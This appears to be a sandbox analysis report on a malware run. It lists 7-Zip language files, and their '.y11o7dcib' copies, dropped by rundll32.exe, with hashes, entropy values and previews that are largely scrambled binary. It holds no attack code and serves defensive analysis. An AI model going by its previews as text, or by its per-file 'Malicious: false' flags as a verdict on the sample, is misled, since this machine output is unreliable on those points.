Preview:	#W=l...Se&e....\|..y.......E0..<....m.. ...e...2.X._...u...70;..;..;..;..;..0..7-Zip..Karakalpak - Latin..Qaraqalpaqsha - Lat.n..401..OK..Biykar etiw........&Awa..&Yaq..&Jab.w..Ja'rdem......6...Xv}R.N..a..RR..V[..U.e..h....G..t..S...H.^4.....!..ON..w..Qaytadan baslaw..&Artq. fong'a..Ald.ng'. &fong'a..&Pauza..Pauza q.l.ng'an..An.q biykar etiwdi qa'leysizbe?..500..&Fayl......Ikc(.b..v..y..0....\|....5...@..u...e...J=_......#.......&Ash.w..&.shinde ash.w..&S.rt.nda ash.w..&Ko'riw..&Du'zetiw..At.n o'&zgertiw..Bul jerge &nusqas.n al.w.....Bul jerge ...$...J,:..N.."..y.0.j..\|.\|.h...$.\|F.B...TQ'..f...<..ZSHiw.....Sazlawla&r..Kom&mentariy.....Qadag'alaw summas...Diff..Papka jarat.w..Fayl jarat.w..Sh&.g'.w..600..Barl.g'.n &sayl...]...\up..d.....Td..V.[.xC...)...ym..7...$...YB.J....".......Saylawd. al.p taslaw.....Tu'ri boy.nsha saylaw..Tu'ri boy.nsha saylawd. al.p taslaw..700..U'&lken ikonalar..Kishi &ikona...Z....Gky(.b..".y.....&..7...8....G..

C:\Program Files\7-Zip\Lang\kab.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8903
Entropy (8bit):	6.766975099912769
Encrypted:	false
SSDEEP:	192:oP9OMqqBVUqpSaSSmJ3Y7UUwapeDrlJheQ2at/XQsQJoQOMoqGViXzS:o0u5SSmu7IapErlJhwLsYT5GVz
MD5:	6CF8B25182FC7BF18A79DD477134D8F7
SHA1:	19E3B124D67A6961B9418C6985E47A662904F423
SHA-256:	78EBF816BEE7E58171A04977BBECBB5AD1A67AC6921CE61B6C18087753E86F49
SHA-512:	C8F77EF683ACD083309450A847221A1EF503E736601F15C98D6CCD0BD1572EE78338F3B33920A078019898243FF70E2A32E081BABAEB41E636C6E2283AEED027
Malicious:	false
Preview:	Eh..I..~.....+.../.<F.%.....A$.....o.....]!.9T..3..m.P I..J.V..;..;..;..;..;..;..;..;..;..0..7-Zip..Kabyle..Taqbaylit..401..IH..Sefsex........&Ih..&Uhu..&Mdel..Tallelt....&Kemmel..440..Ih i...S.>vk.a.......Z.o.b.A.'@.Y.kE.3HI_8.+.....!^..,....p*M..+.g&A.awas Amezwaru..&R.u..I.bes..Teb.i. ad tsefsxe.?..500..A&faylu..&.reg..&Sken..I&nurifen..&Ifecka..&Tallelt..540..&L._<$.t........@./.K..0...z..d......C...[.&...o.9..Q.X+...g..em..&N.el .er.....&Senkez .er.....&Kkes..&B.u Afaylu.....Sdu&kkel ifuyla.....A&ylan..Awenn&it.....Timernit n Usenqed..Ice.12.....C........r.C.f.....YT..;..\$.S..[.......-....T#).....ernate Streams..600..Fren &Me..a..Kkes Afran i Me..a..&Tti Afran..Fren.....Kkes Afran.....Fren s Tawsit..Kkes Afran s Ta.;Be.. ........G.L.S..u..MV......Z3.R...)..0..g.?..l.;kp..#..t..&Talqayt..730..Ur Yettwafren ara..Askan Imlebbe...&2 Igalisen..&Ifeggagen n Ifecka..Ldi Akaram Agejdan..Yiwen Uswir d Asawe..Xw...q...2...R.G.)H.....U..s....N0.T

C:\Program Files\7-Zip\Lang\kab.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8903
Entropy (8bit):	6.766975099912769
Encrypted:	false
SSDEEP:	192:oP9OMqqBVUqpSaSSmJ3Y7UUwapeDrlJheQ2at/XQsQJoQOMoqGViXzS:o0u5SSmu7IapErlJhwLsYT5GVz
MD5:	6CF8B25182FC7BF18A79DD477134D8F7
SHA1:	19E3B124D67A6961B9418C6985E47A662904F423
SHA-256:	78EBF816BEE7E58171A04977BBECBB5AD1A67AC6921CE61B6C18087753E86F49
SHA-512:	C8F77EF683ACD083309450A847221A1EF503E736601F15C98D6CCD0BD1572EE78338F3B33920A078019898243FF70E2A32E081BABAEB41E636C6E2283AEED027
Malicious:	false
Preview:	Eh..I..~.....+.../.<F.%.....A$.....o.....]!.9T..3..m.P I..J.V..;..;..;..;..;..;..;..;..;..0..7-Zip..Kabyle..Taqbaylit..401..IH..Sefsex........&Ih..&Uhu..&Mdel..Tallelt....&Kemmel..440..Ih i...S.>vk.a.......Z.o.b.A.'@.Y.kE.3HI_8.+.....!^..,....p*M..+.g&A.awas Amezwaru..&R.u..I.bes..Teb.i. ad tsefsxe.?..500..A&faylu..&.reg..&Sken..I&nurifen..&Ifecka..&Tallelt..540..&L._<$.t........@./.K..0...z..d......C...[.&...o.9..Q.X+...g..em..&N.el .er.....&Senkez .er.....&Kkes..&B.u Afaylu.....Sdu&kkel ifuyla.....A&ylan..Awenn&it.....Timernit n Usenqed..Ice.12.....C........r.C.f.....YT..;..\$.S..[.......-....T#).....ernate Streams..600..Fren &Me..a..Kkes Afran i Me..a..&Tti Afran..Fren.....Kkes Afran.....Fren s Tawsit..Kkes Afran s Ta.;Be.. ........G.L.S..u..MV......Z3.R...)..0..g.?..l.;kp..#..t..&Talqayt..730..Ur Yettwafren ara..Askan Imlebbe...&2 Igalisen..&Ifeggagen n Ifecka..Ldi Akaram Agejdan..Yiwen Uswir d Asawe..Xw...q...2...R.G.)H.....U..s....N0.T

C:\Program Files\7-Zip\Lang\kk.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11046
Entropy (8bit):	6.353772740038157
Encrypted:	false
SSDEEP:	192:8Ashuc2Csq46vBYAtQ30GHP9t+pAOzdtGMIqFhEDIvS:8A82CO6J4HPXyd7GMIq0I6
MD5:	0C00A89290F3650BB81D5FE79DFC03E7
SHA1:	9AF651BA6E7B3231E94C170E034DF3AA0F68A473
SHA-256:	FB1859837E690445E1A37DF34EE0AE6151D82278BB8B260F5F427BBC429D14A3
SHA-512:	109F3D44CEB832FAF4F43FB458E8CA2427224764A2DCC83146AAD04C5E66A9C8E8E18C10906D8886784358FC35D686731C8B2D4D090E56AD35F89DB36CEE8007
Malicious:	false
Preview:	y[D...J.o.k._z.e?U.."~-=s ..z.T"m....p'z.:...u..D.2:.m.3.)..1.8;..;..;..;..;..;..;..;..;..;..0..7-Zip..Kazakh...........401............................&....&.....&Fv+.Lp.d...H......`........W.R...Yz....&...d...l.V.y.f.PkqA...... &.......... &................... .... ......&.......&....... ...........).MW.P.1.c..w)..a>.....C.......94u.G.t7._..2..n..r..2..F... ..... ..?..500..&......&.......&.........&...........&.......&..........540...0k......w.......Y.e+....N.~...b{%.......V.2.....n..\".kPC......&............ ......&...........&............&........... ..................-0O....V.1.X......`....d ..PE...Vz........f...m...o.E\|k]C.................. ........Diff..&..... ........... .............600....... ......#0@.)....w......9Y.......O.D.C.t9.u.

C:\Program Files\7-Zip\Lang\kk.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11046
Entropy (8bit):	6.353772740038157
Encrypted:	false
SSDEEP:	192:8Ashuc2Csq46vBYAtQ30GHP9t+pAOzdtGMIqFhEDIvS:8A82CO6J4HPXyd7GMIq0I6
MD5:	0C00A89290F3650BB81D5FE79DFC03E7
SHA1:	9AF651BA6E7B3231E94C170E034DF3AA0F68A473
SHA-256:	FB1859837E690445E1A37DF34EE0AE6151D82278BB8B260F5F427BBC429D14A3
SHA-512:	109F3D44CEB832FAF4F43FB458E8CA2427224764A2DCC83146AAD04C5E66A9C8E8E18C10906D8886784358FC35D686731C8B2D4D090E56AD35F89DB36CEE8007
Malicious:	false
Preview:	y[D...J.o.k._z.e?U.."~-=s ..z.T"m....p'z.:...u..D.2:.m.3.)..1.8;..;..;..;..;..;..;..;..;..;..0..7-Zip..Kazakh...........401............................&....&.....&Fv+.Lp.d...H......`........W.R...Yz....&...d...l.V.y.f.PkqA...... &.......... &................... .... ......&.......&....... ...........).MW.P.1.c..w)..a>.....C.......94u.G.t7._..2..n..r..2..F... ..... ..?..500..&......&.......&.........&...........&.......&..........540...0k......w.......Y.e+....N.~...b{%.......V.2.....n..\".kPC......&............ ......&...........&............&........... ..................-0O....V.1.X......`....d ..PE...Vz........f...m...o.E\|k]C.................. ........Diff..&..... ........... .............600....... ......#0@.)....w......9Y.......O.D.C.t9.u.

C:\Program Files\7-Zip\Lang\ko.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10603
Entropy (8bit):	6.931345076457158
Encrypted:	false
SSDEEP:	192:FlT4uPmMgFtHV6LgEbAPZP6GpKc3LSkkoqs1GAY2NCkL91S:TT7PmMgl6LyZP6GUaLSjmHYICkLO
MD5:	7A6B88ACAAD8CFB0CE17962FFABF0047
SHA1:	05B821BAD6BD61B9CFBF697A30DDC41734B79217
SHA-256:	30087D6DC9316DD1863320A7C51ACA8A8EEC7DED96C79EE0AFE59BA4B3F5923F
SHA-512:	E37F437E72E89AF76FA50D9BE2D5486BE497B9A9785A862C1A046FE7C55C9F3A1EEF82DFEC75FD9CDFEB5459B579DB5467EBB0F24BEB8ADDC7C00CFED6337186
Malicious:	false
Preview:	........AE.Q\|.LN;.d.......a..X...@g..+x..b3d/.A.!. ...2..q...zImage..; 4.52 : Hyeong il Kim (kurt Sawyer)..; 9.07 : Dong-yoon Han (...)..; 15.12 : Winterscenery (Ji-yong BAE)..; 16E........w.j[...s......{C%..{....\|...5.K....... .C...\|..\|....; 22.00 : Winterscenery (Ji-yong BAE)..;..;..;..;..0..7-Zip..Korean.......401.................(&Y).....(&%....(U%7/[#.-%.......J%B.<!K.O...~....Z.....h.qs....*.:...\.xp.. ...(&L)........ ...... ...(&B).... ...(&F)......(&P)...... ........).OIgc...K..3...P...iYO......L.4!_.........p.u.W.#.4..3[F n.(&V)......(&A)....(&T).....(&H)..540....(&O).... ..(&I).... ..(&U).... ..(&V).....YZ2...~.2...........;&.JI.a...h..%~.2.BNh.@.........C..A3F(&D).... ...(&S)....... ...(&B).......(&R)....(&N)........ ...... ...... ........C.s...4......9F...M..ST.a....

C:\Program Files\7-Zip\Lang\ko.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10603
Entropy (8bit):	6.931345076457158
Encrypted:	false
SSDEEP:	192:FlT4uPmMgFtHV6LgEbAPZP6GpKc3LSkkoqs1GAY2NCkL91S:TT7PmMgl6LyZP6GUaLSjmHYICkLO
MD5:	7A6B88ACAAD8CFB0CE17962FFABF0047
SHA1:	05B821BAD6BD61B9CFBF697A30DDC41734B79217
SHA-256:	30087D6DC9316DD1863320A7C51ACA8A8EEC7DED96C79EE0AFE59BA4B3F5923F
SHA-512:	E37F437E72E89AF76FA50D9BE2D5486BE497B9A9785A862C1A046FE7C55C9F3A1EEF82DFEC75FD9CDFEB5459B579DB5467EBB0F24BEB8ADDC7C00CFED6337186
Malicious:	false
Preview:	........AE.Q\|.LN;.d.......a..X...@g..+x..b3d/.A.!. ...2..q...zImage..; 4.52 : Hyeong il Kim (kurt Sawyer)..; 9.07 : Dong-yoon Han (...)..; 15.12 : Winterscenery (Ji-yong BAE)..; 16E........w.j[...s......{C%..{....\|...5.K....... .C...\|..\|....; 22.00 : Winterscenery (Ji-yong BAE)..;..;..;..;..0..7-Zip..Korean.......401.................(&Y).....(&%....(U%7/[#.-%.......J%B.<!K.O...~....Z.....h.qs....*.:...\.xp.. ...(&L)........ ...... ...(&B).... ...(&F)......(&P)...... ........).OIgc...K..3...P...iYO......L.4!_.........p.u.W.#.4..3[F n.(&V)......(&A)....(&T).....(&H)..540....(&O).... ..(&I).... ..(&U).... ..(&V).....YZ2...~.2...........;&.JI.a...h..%~.2.BNh.@.........C..A3F(&D).... ...(&S)....... ...(&B).......(&R)....(&N)........ ...... ...... ........C.s...4......9F...M..ST.a....

C:\Program Files\7-Zip\Lang\ku-ckb.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12651
Entropy (8bit):	6.316891459249744
Encrypted:	false
SSDEEP:	384:P3lZ/uBL0NTrEapNj/oHmAPsno+V8hGKO:tZ/KANTACj/LAPsno+V8hGKO
MD5:	D72AC9866CEC0B2576C42C72461F1E49
SHA1:	1E111910C6C5E09B35CABF9F78EBEED6A643666A
SHA-256:	33865EFBD8819482C02B257E9247E4F99DE268039F175C9A161C50A6C50D5A20
SHA-512:	BABF8A8E2365A799B644B6CB0CA50A57ED60D584B42F750CEEC7BFFF46E3EB9F31204C1AE3752C886EA3E05C37491FF2F39627699B5881D150BFDBAB811084ED
Malicious:	false
Preview:	.(...........J..\+..V.0."...v..$........4..r\|........rxD.!./..;..;..;..;..;..;..;..;..;..0..7-Zip..Kurdish - Sorani.........401.............................&..........ve.x.\.(.8T.z..~f../....F.b..h...0.G.4.8Xz'T.S?..'..............440...... .. &............ .. ..&..............................&..........fe...]..^.T.y..xg;....!....S...y.Y\|6...?..'[.i<1.9.......W....... .. ................500..&......&..........&........&...........&......(.Qf=y!\......y..wf.....,.F:..0.l.F2.D..t..j%..r..R.....D.... ..&... ............. .. &........&.......&..........&..........&.......K.VX8(q+S...-....S+.g.\...^....@.$.^.}.D..].\|r....TgNS.....J....&........ ..........&...... ....... .............&...................&.....(.e..y.]!.".=p....2...uBi.V.:...i...1

C:\Program Files\7-Zip\Lang\ku-ckb.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12651
Entropy (8bit):	6.316891459249744
Encrypted:	false
SSDEEP:	384:P3lZ/uBL0NTrEapNj/oHmAPsno+V8hGKO:tZ/KANTACj/LAPsno+V8hGKO
MD5:	D72AC9866CEC0B2576C42C72461F1E49
SHA1:	1E111910C6C5E09B35CABF9F78EBEED6A643666A
SHA-256:	33865EFBD8819482C02B257E9247E4F99DE268039F175C9A161C50A6C50D5A20
SHA-512:	BABF8A8E2365A799B644B6CB0CA50A57ED60D584B42F750CEEC7BFFF46E3EB9F31204C1AE3752C886EA3E05C37491FF2F39627699B5881D150BFDBAB811084ED
Malicious:	false
Preview:	.(...........J..\+..V.0."...v..$........4..r\|........rxD.!./..;..;..;..;..;..;..;..;..;..0..7-Zip..Kurdish - Sorani.........401.............................&..........ve.x.\.(.8T.z..~f../....F.b..h...0.G.4.8Xz'T.S?..'..............440...... .. &............ .. ..&..............................&..........fe...]..^.T.y..xg;....!....S...y.Y\|6...?..'[.i<1.9.......W....... .. ................500..&......&..........&........&...........&......(.Qf=y!\......y..wf.....,.F:..0.l.F2.D..t..j%..r..R.....D.... ..&... ............. .. &........&.......&..........&..........&.......K.VX8(q+S...-....S+.g.\...^....@.$.^.}.D..].\|r....TgNS.....J....&........ ..........&...... ....... .............&...................&.....(.e..y.]!.".=p....2...uBi.V.:...i...1

C:\Program Files\7-Zip\Lang\ku.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6088
Entropy (8bit):	6.711884862502258
Encrypted:	false
SSDEEP:	96:s8Q/RTJnmT6VpUDBexPOjVtSZzYsjzfHad5eFgfBML0A1z0WUhyxrjL08XM8Wg+Y:sd/RVnFVpUDEUhtSisvvaXeebQAZhySK
MD5:	20AD21113735EABFC72A52D4107308B1
SHA1:	1BDDB8C52F14D9BAD6CEDF44E051E22E972132A2
SHA-256:	ABD6FE2E66D8188D65332A81DEA451D66F550E0D6E06751305DC3CBE62F1A4BD
SHA-512:	7ED1A1D180CCA0047877056B2CC1C622ACE6217A6740B41666D2A6D992D61FF94F695E9DDA6336CAB59F3D04BB841574AD69CEA66866FF2B3A8C76CFC807E2C9
Malicious:	false
Preview:	.lL..%.~.9..+......K.s.rh.pE%..D.0.e<...sh-z..5\..7....Y.8...1.;..;..;..;..0..7-Zip..Kurdish..Kurd...401..Temam..Betal........&Er...&Na..Bi&gire..Al.kar.....Bi&dom.ne..440..&Ji Bo Hem. .]...U..T........+Z........w..,......a....}%.[......q.#Z...t..Li &P....&Rawest.ne..Rawestiya -..Ma bila betal bibe?..500..&Dosya..&Bipergal.ne..&N..an Bide..Bi&jare..&Am.r..A&l.ka+.]=.P./.T..o.#.../...<9..%..6.4....@'B........_.....Y.%D.s..an Bide..&Sererast bike..&Navek. N. Bid...&Ji Ber Bigire..B&ar Bike..J. B&ibe..Par.e Bi&ke.....Bike &Yek.....&Taybet...Da...I..U..T..o.-.....;.0\|..`.....:.....dy...V.\..U.....?.#D.f1.De&rkeve..600..&Hem.y. hilbij.re..He&m. hilijartin. rake..Be&revaj. w. hilbij.re..&Hilbij.re.....Hilbijarti&n. Rake..w..f1.\|.,...,f.../.. 9.I:l....-......t`....e4.........t.s...n Mezin..D&aw.r.n Bi..k..&L.ste..&H.ragah...730..B. Dor..xuyakirina sade..&2 Panelan veke..Da&rik. am.ran..Peldanka K6..f........o.....4.'._V..w..w..:....

C:\Program Files\7-Zip\Lang\ku.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6088
Entropy (8bit):	6.711884862502258
Encrypted:	false
SSDEEP:	96:s8Q/RTJnmT6VpUDBexPOjVtSZzYsjzfHad5eFgfBML0A1z0WUhyxrjL08XM8Wg+Y:sd/RVnFVpUDEUhtSisvvaXeebQAZhySK
MD5:	20AD21113735EABFC72A52D4107308B1
SHA1:	1BDDB8C52F14D9BAD6CEDF44E051E22E972132A2
SHA-256:	ABD6FE2E66D8188D65332A81DEA451D66F550E0D6E06751305DC3CBE62F1A4BD
SHA-512:	7ED1A1D180CCA0047877056B2CC1C622ACE6217A6740B41666D2A6D992D61FF94F695E9DDA6336CAB59F3D04BB841574AD69CEA66866FF2B3A8C76CFC807E2C9
Malicious:	false
Preview:	.lL..%.~.9..+......K.s.rh.pE%..D.0.e<...sh-z..5\..7....Y.8...1.;..;..;..;..0..7-Zip..Kurdish..Kurd...401..Temam..Betal........&Er...&Na..Bi&gire..Al.kar.....Bi&dom.ne..440..&Ji Bo Hem. .]...U..T........+Z........w..,......a....}%.[......q.#Z...t..Li &P....&Rawest.ne..Rawestiya -..Ma bila betal bibe?..500..&Dosya..&Bipergal.ne..&N..an Bide..Bi&jare..&Am.r..A&l.ka+.]=.P./.T..o.#.../...<9..%..6.4....@'B........_.....Y.%D.s..an Bide..&Sererast bike..&Navek. N. Bid...&Ji Ber Bigire..B&ar Bike..J. B&ibe..Par.e Bi&ke.....Bike &Yek.....&Taybet...Da...I..U..T..o.-.....;.0\|..`.....:.....dy...V.\..U.....?.#D.f1.De&rkeve..600..&Hem.y. hilbij.re..He&m. hilijartin. rake..Be&revaj. w. hilbij.re..&Hilbij.re.....Hilbijarti&n. Rake..w..f1.\|.,...,f.../.. 9.I:l....-......t`....e4.........t.s...n Mezin..D&aw.r.n Bi..k..&L.ste..&H.ragah...730..B. Dor..xuyakirina sade..&2 Panelan veke..Da&rik. am.ran..Peldanka K6..f........o.....4.'._V..w..w..:....

C:\Program Files\7-Zip\Lang\ky.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12770
Entropy (8bit):	6.3747135562345845
Encrypted:	false
SSDEEP:	384:UPB8RfymqVtGmTEZkoLA6Y0+1yrSPYoUqv8r6:UZ8uV/TOF/VGAoHvZ
MD5:	A9B80C33871DD1866487B1E220DE4A04
SHA1:	B47066FFB0EB0D6CC1DD29E6DF093F7B2B57DDB1
SHA-256:	F6B0EE6EDDB40A8FF6385584ED74F34C3D6965651F33EE8A99F213B21CB6BA88
SHA-512:	2C0C6832215CCCDBBEDB84C75D20B3CB375CA96D56F3D4C2830810698BD7CDEE77F6F3A6E64596E6D36440E7A77279B5E67ED932B316F90FA55DBB931C9AC1EC
Malicious:	false
Preview:	Z...x.L..:q.@.....\|.P..C.;G......[%.....'.b.R...H('[.Y.L...-;..;..;..;..;..0..7-Zip..Kyrgyz............401..OK...............&......&.....&.................&e.Aq..%....U.....\|._".b....."E.z..lX.M$......x....Tr?.q.%r.... .................. .........&.......&....... ........&................6.%.....-..358og.n..L".b.Wp.3M$p...z=.L%H.....D....4.?.p.$H..... ..... ......?..500..&......&.......&......&............&.......&........540.~...yr..,.<..q91..W..G..)...d#w.I:..MX.L....TyIl...q5.>.p.%q*........&.................& ..........&.... ............&.... ..... ......d...w....U.V.8hd.l..a.V../...W#.....c<2N2H.....HQ......z.}q.."........ .............&...........&.................. ..........Diff..&.....e...xE..-....j95<..^.q"....U"D.J..nX

C:\Program Files\7-Zip\Lang\ky.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12770
Entropy (8bit):	6.3747135562345845
Encrypted:	false
SSDEEP:	384:UPB8RfymqVtGmTEZkoLA6Y0+1yrSPYoUqv8r6:UZ8uV/TOF/VGAoHvZ
MD5:	A9B80C33871DD1866487B1E220DE4A04
SHA1:	B47066FFB0EB0D6CC1DD29E6DF093F7B2B57DDB1
SHA-256:	F6B0EE6EDDB40A8FF6385584ED74F34C3D6965651F33EE8A99F213B21CB6BA88
SHA-512:	2C0C6832215CCCDBBEDB84C75D20B3CB375CA96D56F3D4C2830810698BD7CDEE77F6F3A6E64596E6D36440E7A77279B5E67ED932B316F90FA55DBB931C9AC1EC
Malicious:	false
Preview:	Z...x.L..:q.@.....\|.P..C.;G......[%.....'.b.R...H('[.Y.L...-;..;..;..;..;..0..7-Zip..Kyrgyz............401..OK...............&......&.....&.................&e.Aq..%....U.....\|._".b....."E.z..lX.M$......x....Tr?.q.%r.... .................. .........&.......&....... ........&................6.%.....-..358og.n..L".b.Wp.3M$p...z=.L%H.....D....4.?.p.$H..... ..... ......?..500..&......&.......&......&............&.......&........540.~...yr..,.<..q91..W..G..)...d#w.I:..MX.L....TyIl...q5.>.p.%q*........&.................& ..........&.... ............&.... ..... ......d...w....U.V.8hd.l..a.V../...W#.....c<2N2H.....HQ......z.}q.."........ .............&...........&.................. ..........Diff..&.....e...xE..-....j95<..^.q"....U"D.J..nX

C:\Program Files\7-Zip\Lang\lij.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM, 0x8C-variant)
Category:	dropped
Size (bytes):	8189
Entropy (8bit):	6.612032435645158
Encrypted:	false
SSDEEP:	192:7VMLmDvdT7nYPxEuy4Env/lu+3Yg5LUnMHK6YjS:73DRnL4Ev/YAb5QnhG
MD5:	88DA5CB8292AD1C9F7107FC434264DD9
SHA1:	AEFBDAAEAD04CA4DABACD3D1D80CDCCD0B435EC7
SHA-256:	45C45A417BDB1950BD73AD88548D3FA2DA74867B579ACBC1955CA6B72925C8C1
SHA-512:	327286ACF86A13820B228E1053E6C054F9605F844A6933125CAD7C6BA5E3ADA3AC2EB9604518FD4DA9AC7031EE6964DB34891E1BCD91BBDDC9511B3F849E4132
Malicious:	false
Preview:	.... .......>.:.4....o..\|T...I.B.A.R..g..4.6..J..(....}...n:m;..;..0..7-Zip..Ligurian..Zeneize..401..D'ac.rdio..Anulla........&Sci..&No..S.&ra..Agiutto....&Continoa..440..Sci pe &Tutti..N..4.!...U....t....E...;......f...y.oM..X.U.BJ...L.u...c...<V...&Paoza..In paoza..Ti . seguo de voei anul.?..500..&Archivio..&Modifica..&Vixoalizza..&Preferii..&Strumenti..A&giutto..540..&".2.......1q...T...J;.vr......n.g. .Z..4.I.Dg...G.@...a...X=AVixoalizza..&Modifica..Ri&nomina..&C.pia inte.....&Sp.sta inte.....Scancel&la..&Dividi l'archivio.....&Unisci i archivi.....P&..4.d..j..7r...m....&E..>...I.h.c.7.eM..P.I .+...(.l..zM...uT.rtella..Crea archivio..Sc&i.rti..600..Sele.ionn-a &tutto..Desele.ionn-a tutto..In&verti sele.ion..Sele.ionn-a.....Desele.i...`.....=s..)p...Jo..r...d.C.}.{.....P....7...K.j..G>...^.ue &grende..Figue picinn-e..&Listin..&D.ti..730..Nisciun ordine..Vista ciatta..&2 barco.n..Bare di &Strumenti..Arvi cartella p..Z....j...v...u....[*...i.....h.a.~..C

C:\Program Files\7-Zip\Lang\lij.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM, 0x8C-variant)
Category:	dropped
Size (bytes):	8189
Entropy (8bit):	6.612032435645158
Encrypted:	false
SSDEEP:	192:7VMLmDvdT7nYPxEuy4Env/lu+3Yg5LUnMHK6YjS:73DRnL4Ev/YAb5QnhG
MD5:	88DA5CB8292AD1C9F7107FC434264DD9
SHA1:	AEFBDAAEAD04CA4DABACD3D1D80CDCCD0B435EC7
SHA-256:	45C45A417BDB1950BD73AD88548D3FA2DA74867B579ACBC1955CA6B72925C8C1
SHA-512:	327286ACF86A13820B228E1053E6C054F9605F844A6933125CAD7C6BA5E3ADA3AC2EB9604518FD4DA9AC7031EE6964DB34891E1BCD91BBDDC9511B3F849E4132
Malicious:	false
Preview:	.... .......>.:.4....o..\|T...I.B.A.R..g..4.6..J..(....}...n:m;..;..0..7-Zip..Ligurian..Zeneize..401..D'ac.rdio..Anulla........&Sci..&No..S.&ra..Agiutto....&Continoa..440..Sci pe &Tutti..N..4.!...U....t....E...;......f...y.oM..X.U.BJ...L.u...c...<V...&Paoza..In paoza..Ti . seguo de voei anul.?..500..&Archivio..&Modifica..&Vixoalizza..&Preferii..&Strumenti..A&giutto..540..&".2.......1q...T...J;.vr......n.g. .Z..4.I.Dg...G.@...a...X=AVixoalizza..&Modifica..Ri&nomina..&C.pia inte.....&Sp.sta inte.....Scancel&la..&Dividi l'archivio.....&Unisci i archivi.....P&..4.d..j..7r...m....&E..>...I.h.c.7.eM..P.I .+...(.l..zM...uT.rtella..Crea archivio..Sc&i.rti..600..Sele.ionn-a &tutto..Desele.ionn-a tutto..In&verti sele.ion..Sele.ionn-a.....Desele.i...`.....=s..)p...Jo..r...d.C.}.{.....P....7...K.j..G>...^.ue &grende..Figue picinn-e..&Listin..&D.ti..730..Nisciun ordine..Vista ciatta..&2 barco.n..Bare di &Strumenti..Arvi cartella p..Z....j...v...u....[*...i.....h.a.~..C

C:\Program Files\7-Zip\Lang\lt.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9839
Entropy (8bit):	6.690918252044381
Encrypted:	false
SSDEEP:	192:Bx92ZjxzWwHEPkqVZ/ra1/XhbOgvQPuvWvjnGWpkiDi1S:B0RWwHpIZ/ra1pbJvQPuvWuiDio
MD5:	18554D3AC134F00939C6F551E049364C
SHA1:	87CAE1ABF5E96F7F7AE80383798C45CD64297568
SHA-256:	E336C89C1E1CD6F3EDCF48928F52CA0983AFA4BE358199198132C83FA45654B2
SHA-512:	8577F5598EDFE040A9D246045166A033E87A3B00A275B9B29E3F1B63B2EC1AE961CCB0D5B9F846F27F548DFA5EBB4C8D0B8E2B4583988436173AAFC0BA554689
Malicious:	false
Preview:	......c...m...U.=.#.CG..q....,..I.R...-IW.....:\|..[..mH["{Jokubauskis..; 15.05 : Vaidas777..;..;..;..;..;..;..;..;..0..7-Zip..Lithuanian..Lietuvi...401..Gerai..At.aukti........&Taip..&......9....8..W=.y.].....+..'.#..I3....0..Wg.1.:b..G..r.l8(iems..Ne v&isiems..Sustabdyti..I. naujo..&Fone..&Pirminis procesas..&Laikinai sustabdyti..Laikinai sustabdyta..Ar j.s esate ti/.\|...f....%..}...BH....O...GS.SR}../`MM`..6.(......h..<i&amiausi...ran&kiai..&Elektroninis .inynas..540..&Atverti..Atverti v&iduje..Atverti i.&or.je..&Rodyti..K&eisti..Pervadi&ntiI.3.].h...l.lsV.............].c[..0.....`\M...h.o;.....cLV.......Jungti &failus.....Savy&b.s..Kome&ntuoti..Skai.iuoti kontrolin. sum...Sulyginti..Sukurti aplank...Sukurti fail...I.e-.a.?..w...-..{9.h.[.....:....,..S3....iLxE.4.VZ.&......i.\QNu.ym.ti visk...Atv&irk.tinis .ym.jimas..Parinkti.....At.ym.ti.....Pasirinkti pagal tip...At.ym.ti pagal tip...700....q.W.8....'..:..q.Z.iA.../...$..]L}.

C:\Program Files\7-Zip\Lang\lt.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9839
Entropy (8bit):	6.690918252044381
Encrypted:	false
SSDEEP:	192:Bx92ZjxzWwHEPkqVZ/ra1/XhbOgvQPuvWvjnGWpkiDi1S:B0RWwHpIZ/ra1pbJvQPuvWuiDio
MD5:	18554D3AC134F00939C6F551E049364C
SHA1:	87CAE1ABF5E96F7F7AE80383798C45CD64297568
SHA-256:	E336C89C1E1CD6F3EDCF48928F52CA0983AFA4BE358199198132C83FA45654B2
SHA-512:	8577F5598EDFE040A9D246045166A033E87A3B00A275B9B29E3F1B63B2EC1AE961CCB0D5B9F846F27F548DFA5EBB4C8D0B8E2B4583988436173AAFC0BA554689
Malicious:	false
